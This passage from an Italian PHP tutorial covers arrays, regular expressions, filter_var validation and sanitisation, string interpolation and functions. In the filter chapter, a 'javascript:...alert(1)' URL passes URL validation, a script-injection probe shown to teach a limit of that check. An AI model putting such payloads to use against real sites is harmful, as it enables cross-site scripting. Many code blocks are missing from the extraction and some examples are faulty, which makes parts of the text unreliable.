Questi errori indicano che c'è qualcosa di sbagliato nella tua query (si tratta di un errore PHP /
MySQL) o nella tua referenziazione. L'errore precedente è stato prodotto dal seguente codice:
$row = $result->fetch_assoc();
Per "correggere" questo errore, si consiglia di creare invece le eccezioni di mysql throw:
https://riptutorial.com/it/home 177
Ciò quindi genererà un'eccezione con questo messaggio molto più utile:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near 'SELCT * FROM db' at line 1
Un altro esempio che potrebbe produrre un errore simile, è dove hai semplicemente fornito le
informazioni sbagliate alla funzione mysql_fetch_assoc o simile:
$john = true;
mysqli_fetch_assoc($john, $mysqli); // this makes no sense??
https://riptutorial.com/it/home 178
Capitolo 37: Esecuzione su una matrice
Examples
Applicazione di una funzione a ciascun elemento di una matrice
Per applicare una funzione a ogni elemento in una matrice, utilizzare array_map() . Ciò restituirà un
nuovo array.
$array = array(1,2,3,4,5);
//each array item is iterated over and gets stored in the function parameter.
$newArray = array_map(function($item) {
return $item + 1;
}, $array);
Invece di usare una funzione anonima , potresti usare una funzione con nome. Quanto sopra
potrebbe essere scritto come:
function addOne($item) {
return $item + 1;
}
class Example {
public function addOne($item) {
return $item + 1;
}
Un altro modo per applicare una funzione a ogni elemento di un array è array_walk() e
array_walk_recursive() . Il callback passato a queste funzioni prende sia la chiave / l'indice sia il
valore di ciascun elemento dell'array. Queste funzioni non restituiranno un nuovo array, bensì un
booleano per il successo. Ad esempio, per stampare ogni elemento in un array semplice:
https://riptutorial.com/it/home 179
// prints "1 2 3 4 5"
Il parametro value del callback può essere passato per riferimento, consentendo di modificare il
valore direttamente nell'array originale:
Per gli array annidati, array_walk_recursive() andrà più in profondità in ogni sotto-array:
Sopra il codice verranno creati blocchi di 2 elementi di array e verrà creato un array
multidimensionale come segue.
Array
(
[0] => Array
(
[0] => a
[1] => b
)
https://riptutorial.com/it/home 180
)
Se tutti gli elementi dell'array non sono equamente divisi per la dimensione del blocco, l'ultimo
elemento dell'array di output saranno gli elementi rimanenti.
Parametro Dettagli
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
Implodere chiavi con valori è più complesso ma può essere fatto usando lo stile funzionale:
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
array_reduce
https://riptutorial.com/it/home 181
array_reduceriduce l'array in un singolo valore. Fondamentalmente, array_reduce attraverserà ogni
elemento con il risultato dell'ultima iterazione e produrrà un nuovo valore alla successiva
iterazione.
Somma dell'array
risultato: 15
risultato: 211
risultato: true
risultato: true
risultato: "hello-world-PHP-language"
https://riptutorial.com/it/home 182
function implode_method($array, $piece){
return array_reduce($array, function($carry, $item) use ($piece) {
return !$carry ? $item : ($carry . $piece . $item);
});
}
risultato: "hello-world-PHP-language"
Utilizzare list () per assegnare rapidamente un elenco di valori variabili a un array. Vedi anche
compact ()
// Assigns to $a, $b and $c the values of their respective array elements in $array
with keys numbered from zero
list($a, $b, $c) = $array;
Con PHP 7.1 (attualmente in beta) sarai in grado di utilizzare la sintassi della short list :
// Assigns to $a, $b and $c the values of their respective array elements in $array with keys
numbered from zero
[$a, $b, $c] = $array;
// Assigns to $a, $b and $c the values of the array elements in $array with the keys "a", "b"
and "c", respectively
["a" => $a, "b" => $b, "c" => $c] = $array;
$array = [1,2,3];
$newArraySize = array_push($array, 5, 6); // The method returns the new size of the array
print_r($array); // Array is passed by reference, therefore the original array is modified to
contain the new elements
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
https://riptutorial.com/it/home 183
$array[] = è usato in questo modo:
$array = [1,2,3];
$array[] = 5;
$array[] = 6;
print_r($array);
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
https://riptutorial.com/it/home 184
Capitolo 38: Espressioni regolari (regexp /
PCRE)
Sintassi
• preg_replace($pattern, $replacement, $subject, $limit = -1, $count = 0);
• preg_replace_callback($pattern, $callback, $subject, $limit = -1, $count = 0);
• preg_match($pattern, $subject, &$matches, $flags = 0, $offset = 0);
• preg_match_all($pattern, $subject, &$matches, $flags = PREG_PATTERN_ORDER, $offset = 0);
• preg_split($pattern, $subject, $limit = -1, $flags = 0)
Parametri
Parametro Dettagli
Osservazioni
Le espressioni regolari di PHP seguono gli standard di pattern PCRE, che derivano dalle
espressioni regolari di Perl.
Tutte le stringhe PCRE in PHP devono essere racchiuse tra delimitatori. Un delimitatore può
essere qualsiasi carattere non alfanumerico, non backslash, non di spazio bianco. I delimitatori
popolari sono ~ , / , % per esempio.
I pattern PCRE possono contenere gruppi, classi di caratteri, gruppi di caratteri, asserzioni look-
ahead / look-behind e caratteri di escape.
È possibile utilizzare i modificatori PCRE nella stringa $pattern . Alcuni comuni sono i (case
insensitive), m (multiline) e s (il punto metacarattere include newline). Il modificatore g (globale) non
è permesso, preg_match_all invece la funzione preg_match_all .
Le corrispondenze con le stringhe PCRE vengono eseguite con stringhe numerate con prefisso $ :
<?php
Examples
String matching con espressioni regolari
https://riptutorial.com/it/home 185
preg_match controlla se una stringa corrisponde all'espressione regolare.
Se passi un terzo parametro, verrà popolato con i dati corrispondenti dell'espressione regolare:
Produzione:
Array
(
[0] => PHP
[1] => CSS
[2] => HTML
[3] => AJAX
[4] => JSON
)
Per dividere una stringa in una matrice basta passare la stringa e preg_split(); per preg_split();
per abbinare e cercare, aggiungendo un terzo parametro ( limit ) consente di impostare il numero
di "corrispondenze" da eseguire, la stringa rimanente verrà aggiunta alla fine dell'array.
Il quarto parametro è ( flags ) qui usiamo il PREG_SPLIT_NO_EMPTY che impedisce al nostro array di
contenere chiavi / valori vuoti.
https://riptutorial.com/it/home 186
$string = "a;b;c\nd;e;f";
// $1, $2 and $3 represent the first, second and third capturing groups
echo preg_replace("(^([^;]+);([^;]+);([^;]+)$)m", "$3;$2;$1", $string);
Uscite
c;b;a
f;e;d
Se viene fornito un array, $matches conterrà array in un formato simile che si otterrebbe con
preg_match , tranne che preg_match ferma alla prima corrispondenza, dove preg_match_all iterazioni
sulla stringa finché la stringa non viene interamente consumata e restituisce il risultato di ogni
iterazione in una matrice multidimensionale , quale formato può essere controllato dalla bandiera
nel quarto argomento.
array(3) {
[0]=>
array(2) {
[0]=>
string(3) "a1b"
[1]=>
string(1) "1"
https://riptutorial.com/it/home 187
}
[1]=>
array(2) {
[0]=>
string(3) "c2d"
[1]=>
string(1) "2"
}
[2]=>
array(2) {
[0]=>
string(3) "f4g"
[1]=>
string(1) "4"
}
}
$matchesha tre matrici annidate. Ogni matrice rappresenta una corrispondenza, che ha lo stesso
formato del risultato di ritorno di preg_match .
array(2) {
[0]=>
array(3) {
[0]=>
string(3) "a1b"
[1]=>
string(3) "c2d"
[2]=>
string(3) "f4g"
}
[1]=>
array(3) {
[0]=>
string(1) "1"
[1]=>
string(1) "2"
[2]=>
string(1) "4"
}
}
Quando lo stesso regexp viene eseguito tramite preg_match , viene restituito il seguente array:
array(2) {
[0] =>
string(3) "a1b"
[1] =>
string(1) "1"
}
https://riptutorial.com/it/home 188
basate su qualsiasi tipo di logica.
$subject = "He said 123abc, I said 456efg, then she said 789hij";
$regex = "/\b(\d+)\w+/";
print_r($replaced_str);
# He said <i>123abc</i>, I said <i>456efg</i>, then she said <b>789hij</b>
https://riptutorial.com/it/home 189
Capitolo 39: Filtri e funzioni di filtro
introduzione
Questa estensione filtra i dati convalidandoli o disinfettandoli. Ciò è particolarmente utile quando
l'origine dati contiene dati sconosciuti (o stranieri), come l'input fornito dall'utente. Ad esempio,
questi dati potrebbero provenire da un modulo HTML.
Sintassi
• mixed filter_var (mixed $ variable [, int $ filter = FILTER_DEFAULT [, mixed $ options]]))
Parametri
Parametro Dettagli
------ ------
L'ID del filtro da applicare. La pagina dei manuali Tipi di filtri elenca i filtri
disponibili. Se omesso, verrà utilizzato FILTER_DEFAULT, che è equivalente a
filtro
FILTER_UNSAFE_RAW. Ciò si tradurrà in nessun filtraggio in atto per
impostazione predefinita.
------ ------
Examples
Convalida indirizzo email
Quando si filtra un indirizzo e-mail, filter_var() restituirà i dati filtrati, in questo caso l'indirizzo e-
mail, o falso se non è possibile trovare un indirizzo e-mail valido:
var_dump(filter_var('[email protected]', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL));
https://riptutorial.com/it/home 190
risultati:
string(16) "[email protected]"
bool(false)
Questa funzione non convalida i caratteri non latini. Il nome di dominio internazionalizzato può
essere convalidato nella forma xn-- .
Si noti che non si può sapere se l'indirizzo e-mail è corretto prima di inviare una e-mail ad esso.
Potresti voler fare alcuni controlli extra come il controllo di un record MX, ma questo non è
necessario. Se si invia un'email di conferma, non dimenticare di rimuovere gli account non
utilizzati dopo un breve periodo.
Quando si filtra un valore che dovrebbe essere un intero filter_var() restituirà i dati filtrati, in
questo caso il numero intero o falso se il valore non è un numero intero. I float non sono numeri
interi:
var_dump(filter_var('10', FILTER_VALIDATE_INT));
var_dump(filter_var('a10', FILTER_VALIDATE_INT));
var_dump(filter_var('10a', FILTER_VALIDATE_INT));
var_dump(filter_var(' ', FILTER_VALIDATE_INT));
var_dump(filter_var('10.00', FILTER_VALIDATE_INT));
var_dump(filter_var('10,000', FILTER_VALIDATE_INT));
var_dump(filter_var('-5', FILTER_VALIDATE_INT));
var_dump(filter_var('+7', FILTER_VALIDATE_INT));
risultati:
int(10)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
int(-5)
int(7)
Se si converte questo valore in un numero intero, non è necessario eseguire questo controllo e
quindi è possibile utilizzare filter_var .
https://riptutorial.com/it/home 191
Quando si verifica la convalida di un intero in un intervallo, il controllo include i limiti minimo e
massimo:
$options = array(
'options' => array(
'min_range' => 5,
'max_range' => 10,
)
);
var_dump(filter_var('5', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('10', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('8', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('4', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('11', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options));
risultati:
int(5)
int(10)
int(8)
bool(false)
bool(false)
bool(false)
Convalida un URL
Quando si filtra un URL filter_var() restituirà i dati filtrati, in questo caso l'URL, o false se non è
possibile trovare un URL valido:
URL: example.com
var_dump(filter_var('example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
risultati:
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
URL: http://example.com
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
https://riptutorial.com/it/home 192
risultati:
string(18) "http://example.com"
string(18) "http://example.com"
string(18) "http://example.com"
bool(false)
bool(false)
URL: http://www.example.com
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
risultati:
string(22) "http://www.example.com"
string(22) "http://www.example.com"
string(22) "http://www.example.com"
bool(false)
bool(false)
URL: http://www.example.com/path/to/dir/
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
risultati:
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
bool(false)
URL: http://www.example.com/path/to/dir/index.php
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
https://riptutorial.com/it/home 193
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
risultati:
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
bool(false)
URL: http://www.example.com/path/to/dir/index.php?test=y
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
risultati:
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL));
// string(31) "javascript://comment%0Aalert(1)"
Disinfetta i filtri
possiamo usare i filtri per disinfettare la nostra variabile in base alle nostre necessità.
Esempio
$string = "<p>Example</p>";
$newstring = filter_var($string, FILTER_SANITIZE_STRING);
var_dump($newstring); // string(7) "Example"
https://riptutorial.com/it/home 194
Validazione dei valori booleani
var_dump(filter_var(1, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT));
risultati
float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
bool(false)
https://riptutorial.com/it/home 195
bool(false)
bool(false)
bool(false)
float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
float(1000)
float(1000)
float(1000)
float(1000.00001)
var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC));
var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC));
var_dump(filter_var('', FILTER_VALIDATE_MAC));
risultati:
string(17) "FA-F9-DD-B2-5E-0D"
string(17) "DC-BB-17-9A-CE-81"
string(17) "96-D5-9E-67-40-AB"
bool(false)
bool(false)
Rimuovi tutti i caratteri tranne lettere, cifre e! # $% & '* + - =? ^ _ `{|} ~ @. [].
var_dump(filter_var('[email protected]', FILTER_SANITIZE_EMAIL));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('joh [email protected]', FILTER_SANITIZE_EMAIL));
risultati:
string(16) "[email protected]"
string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com"
string(16) "[email protected]"
string(16) "[email protected]"
string(16) "[email protected]"
https://riptutorial.com/it/home 196
Sanitize Integers
var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz",
FILTER_SANITIZE_NUMBER_INT));
risultati:
string(1) "1"
string(2) "-1"
string(1) "1"
string(1) "1"
string(1) "1"
string(2) "-1"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(3) "100"
string(4) "+100"
string(4) "-100"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(12) "+-0123456789"
Sanitze URL
Rimuovi tutti i caratteri tranne lettere, cifre e $ -_. +! * '(), {} | \ ^ ~ [] `<> #%"; /?: @ & =
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_SANITIZE_URL));
var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-
=?^_`{|}~.[]", FILTER_SANITIZE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c',
FILTER_SANITIZE_URL));
risultati:
https://riptutorial.com/it/home 197
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]"
string(53) "http://www.example.com/path/to/dir/index.php?test=abc"
Disinfetta i galleggianti
var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT));
risultati:
string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(9) "18281-009"
risultati:
https://riptutorial.com/it/home 198
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(5) "1,000"
string(6) "1,0000"
string(9) "1,0000000"
string(10) "1,00000001"
string(9) "18281-009"
risultati:
string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(10) "18281e-009"
var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP));
var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP));
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP));
https://riptutorial.com/it/home 199
risultati:
string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
string(11) "192.168.0.1"
string(9) "127.0.0.1"
risultati:
string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
string(9) "127.0.0.1"
risultati:
bool(false)
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
bool(false)
bool(false)
risultati:
string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
bool(false)
string(9) "127.0.0.1"
https://riptutorial.com/it/home 200
Convalidare un indirizzo IP non è in un intervallo riservato:
risultati:
string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
bool(false)
https://riptutorial.com/it/home 201
Capitolo 40: Formattazione delle stringhe
Examples
Estrazione / sostituzione di sottostringhe
È possibile estrarre singoli caratteri utilizzando la sintassi dell'array (parentesi quadra) e la sintassi
della parentesi graffa. Queste due sintassi restituiranno un solo carattere dalla stringa. Se è
necessario più di un carattere, sarà richiesta una funzione, cioè substr
Le stringhe possono anche essere modificate un carattere alla volta usando la stessa parentesi
quadra e la stessa sintassi di parentesi graffa. Sostituire più di un personaggio richiede una
funzione, ovvero substr_replace
Interpolazione a stringa
È inoltre possibile utilizzare l'interpolazione per interpolare ( inserire ) una variabile all'interno di
una stringa. L'interpolazione funziona solo con le stringhe con doppie virgolette e con la sintassi di
heredoc.
$name = 'Joel';
// Single Quotes: outputs $name as the raw text (without interpreting it)
echo 'Hello $name, Nice to see you.'; # Careful with this notation
#> "Hello $name, Nice to see you."
https://riptutorial.com/it/home 202
Il formato di sintassi complesso (di ricci) fornisce un'altra opzione che richiede di avvolgere la
variabile all'interno di parentesi graffe {} . Questo può essere utile quando si incorporano variabili
all'interno del contenuto testuale e si aiuta a prevenire possibili ambiguità tra contenuto testuale e
variabili.
$name = 'Joel';
// Example using the curly brace syntax for the variable $name
echo "<p>We need more {$name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"
La sintassi {} interpola solo le variabili che iniziano con $ in una stringa. La sintassi {} non valuta
le espressioni PHP arbitrarie.
Tuttavia, la sintassi {} valuta qualsiasi accesso di array, accesso alla proprietà e chiamate di
funzioni / metodi su variabili, elementi di array o proprietà:
// Example of invoking a Closure — the parameter list allows for custom expressions
$greet = function($num) {
https://riptutorial.com/it/home 203
return "A $num greetings!";
};
echo "From us all: {$greet(10 ** 3)}";
#> "From us all: A 1000 greetings!"
Si noti che il simbolo $ del dollaro può apparire dopo la parentesi graffa di apertura { come gli
esempi precedenti, o, come in Perl o Shell Script, può comparire prima di esso:
$name = 'Joel';
// Example using the curly brace syntax with dollar sign before the opening curly brace
echo "<p>We need more ${name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"
https://riptutorial.com/it/home 204
Capitolo 41: funzioni
Sintassi
• function func_name ($ parameterName1, $ parameterName2) {code_to_run (); }
• function func_name ($ optionalParameter = default_value) {code_to_run (); }
• function func_name (type_name $ parameterName) {code_to_run (); }
• function & returns_by_reference () {code_to_run (); }
• function func_name (& $ referenceParameter) {code_to_run (); }
• function func_name (... $ variadicParameters) {code_to_run (); } // PHP 5.6+
• function func_name (type_name & ... $ varRefParams) {code_to_run (); } // PHP 5.6+
• function func_name (): return_type {code_To_run (); } // PHP 7.0+
Examples
Uso della funzione di base
function hello($name)
{
print "Hello $name";
}
hello("Alice");
Parametri opzionali
hello('Alice');
// Good Day Alice
https://riptutorial.com/it/home 205
hello('Alice', 'Australian');
// G'day Alice
Gli argomenti della funzione possono essere passati "Per riferimento", consentendo alla funzione
di modificare la variabile utilizzata al di fuori della funzione:
function pluralize(&$word)
{
if (substr($word, -1) == 'y') {
$word = substr($word, 0, -1) . 'ies';
} else {
$word .= 's';
}
}
$word = 'Bannana';
pluralize($word);
print $word;
// Bannanas
function addOneDay($date)
{
$date->modify('+1 day');
}
print $date->format('Y-m-d');
// 2014-03-01
Per evitare il passaggio implicito di un oggetto per riferimento, è necessario clone l'oggetto.
Passare per riferimento può anche essere usato come un modo alternativo per restituire i
parametri. Ad esempio, la funzione socket_getpeername :
Questo metodo in realtà mira a restituire l'indirizzo e la porta del peer, ma poiché ci sono due
valori da restituire, sceglie invece di utilizzare i parametri di riferimento. Può essere chiamato così:
Le variabili $address e $port non hanno bisogno di essere definite prima. Faranno:
https://riptutorial.com/it/home 206
1. essere definito come null prima,
2. quindi passato alla funzione con il valore null predefinito
3. quindi modificato nella funzione
4. fine definito come l'indirizzo e la porta nel contesto di chiamata.
5.6
PHP 5.6 ha introdotto liste di argomenti di lunghezza variabile (p.es. varargs, argomenti variadici),
usando il ... token prima del nome dell'argomento per indicare che il parametro è variadic, cioè è
una matrice che include tutti i parametri forniti da quella in poi.
L'operatore & reference può essere aggiunto prima del ... , ma dopo il nome del tipo (se
presente). Considera questo esempio:
class Foo{}
function a(Foo &...$foos){
$i = 0;
foreach($a as &$foo){ // note the &
$foo = $i++;
}
}
$a = new Foo;
$c = new Foo;
$b =& $c;
a($a, $b);
var_dump($a, $b, $c);
Produzione:
int(0)
int(1)
int(1)
D'altra parte, un array (o Traversable ) di argomenti può essere decompresso per essere passato a
una funzione sotto forma di un elenco di argomenti:
var_dump(...hash_algos());
Produzione:
https://riptutorial.com/it/home 207
string(3) "md2"
string(3) "md4"
string(3) "md5"
...
var_dump(hash_algos());
Produzione:
array(46) {
[0]=>
string(3) "md2"
[1]=>
string(3) "md4"
...
}
